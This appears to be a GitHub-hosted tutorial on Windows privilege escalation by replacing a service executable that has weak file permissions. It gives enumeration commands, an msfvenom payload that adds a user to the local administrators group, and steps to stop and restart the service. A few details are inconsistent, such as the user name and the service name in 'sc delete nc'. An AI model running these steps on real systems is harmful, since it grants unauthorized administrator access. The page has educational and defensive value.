Skip to content

Insecure-File-Permissions-Service-Executable-Files-Path.md

Latest commit

 

History

History
148 lines (94 loc) · 3.9 KB

Insecure-File-Permissions-Service-Executable-Files-Path.md

File metadata and controls

148 lines (94 loc) · 3.9 KB
Raw

Insecure File Permissions - Service Executable Files Path

Many Windows services run executables from specific file paths, such as C:\Program Files\. If the file permissions on these executable files are misconfigured, attackers can potentially replace the executable with a malicious one to escalate privileges or perform other malicious activities.

Service Basics

sc create up-server binPath= "C:\Windows\System32\PING.EXE"
sc qc up-server
sc query up-server
sc start up-server
  • Modify binPath with command-line arguments:
sc config up-server binPath= "C:\Windows\System32\PING.EXE 8.8.8.8"
sc start up-server

Tools for Enumeration

  1. PowerUp : A PowerShell-based tool for identifying and exploiting Windows privilege escalation vulnerabilities, including insecure service permissions.

  2. SC (Service Control) : Command to query service security descriptors:

sc sdshow <service_name>
sc sdshow up-server
  1. accesschk.exe (Sysinternals) : A tool to view effective permissions on files, services, or registry keys:
accesschk64.exe -uvwc up-server

Enumeration of Service Executable Path Permissions

  1. Query Service Information
  • To check a service's current status and path:
sc query up-server
sc qc up-server
  1. Check File Permissions with accesschk
  • Use accesschk.exe to check if a specific user has write access to the service executable path:
accesschk64.exe -wvu "C:\Windows\System32\PING.EXE"

This will show if the current user has write (w) or other permissions on the service executable.

  • To check another file (e.g., PING.EXE):
accesschk64.exe -wvu "C:\Windows\System32\PING.EXE"
  1. Inspect File Permissions with PowerShell
  • Using PowerShell, you can retrieve detailed file permissions:
powershell.exe -ep bypass
Get-Acl "C:\Windows\System32\PING.EXE" | fl

Exploitation Process

  • If you identify that you have write access to a service executable file, you can exploit this by replacing the executable with a malicious file.
  1. Stop the Service
  • To begin the exploitation, first stop the service:
sc stop up-server
  1. Replace the Executable
  • Create a malicious payload using msfvenom:
msfvenom -p windows/exec CMD="net localgroup administrators armour /add" -f exe -o PING.EXE

This command generates a malicious executable (PING.EXE) that will add the user u1 to the administrators group.

  • Replace the target executable (PING.EXE) with your malicious payload. The file should be placed in the same directory as the legitimate service executable.
  1. Start the Service Again
  • After replacing the executable, start the service again to trigger the execution of the malicious payload:
sc start up-server
  • Delete a service
sc delete nc

Security Notes

  • Audit File Permissions: Regularly check the permissions of executable files used by critical services. Ensure that only trusted accounts (such as SYSTEM or administrators) have write access to them.

  • Use sc sdshow to review security descriptors and restrict who can modify service configurations or binaries.

  • Control Access to Directories: If a service executable resides in a publicly writable directory (e.g., C:\Program Files\ or C:\Windows\System32\), it could be at risk if the permissions are misconfigured.

Related